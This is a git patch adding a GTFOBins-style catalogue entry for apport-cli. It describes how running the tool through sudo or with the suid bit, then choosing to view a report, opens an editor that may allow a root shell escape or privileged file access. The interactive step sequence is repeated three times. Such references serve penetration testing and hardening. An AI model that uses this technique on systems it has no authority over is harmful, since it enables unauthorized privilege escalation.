From d4d8b11341e521d49948686da01c609abb66d48c Mon Sep 17 00:00:00 2001 From: Sohail Saha Date: Wed, 13 Mar 2024 12:42:07 +0530 Subject: [PATCH] Added apport-cli --- _gtfobins/apport-cli.md | 82 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 _gtfobins/apport-cli.md diff --git a/_gtfobins/apport-cli.md b/_gtfobins/apport-cli.md new file mode 100644 index 0000000..57caf2e --- /dev/null +++ b/_gtfobins/apport-cli.md @@ -0,0 +1,82 @@ +--- +description: This can be run with elevated privileges to create a bug report, then view the report in a text editor, which may allow shell escapes and/or privileged file read/writes (Depending upon the default file editor program). +functions: + shell: + - code: | + apport-cli -f + + *** What kind of problem do you want to report? + + Please choose (1/2/3/4/5/6/7/8/9/10/C): 1 + + *** Collecting problem information + + + *** What display problem do you observe? + + + Please choose (1/2/3/4/5/6/7/8/C): 2 + + + *** Send problem report to the developers? + + What would you like to do? Your options are: + + V: View report + + Please choose (S/V/K/I/C): V + + + suid: + - code: | + apport-cli -f + + *** What kind of problem do you want to report? + + Please choose (1/2/3/4/5/6/7/8/9/10/C): 1 + + *** Collecting problem information + + + *** What display problem do you observe? + + + Please choose (1/2/3/4/5/6/7/8/C): 2 + + + *** Send problem report to the developers? + + What would you like to do? Your options are: + + V: View report + + Please choose (S/V/K/I/C): V + + + sudo: + - code: | + sudo apport-cli -f + + *** What kind of problem do you want to report? + + Please choose (1/2/3/4/5/6/7/8/9/10/C): 1 + + *** Collecting problem information + + + *** What display problem do you observe? + + + Please choose (1/2/3/4/5/6/7/8/C): 2 + + + *** Send problem report to the developers? + + What would you like to do? Your options are: + + V: View report + + Please choose (S/V/K/I/C): V + + +---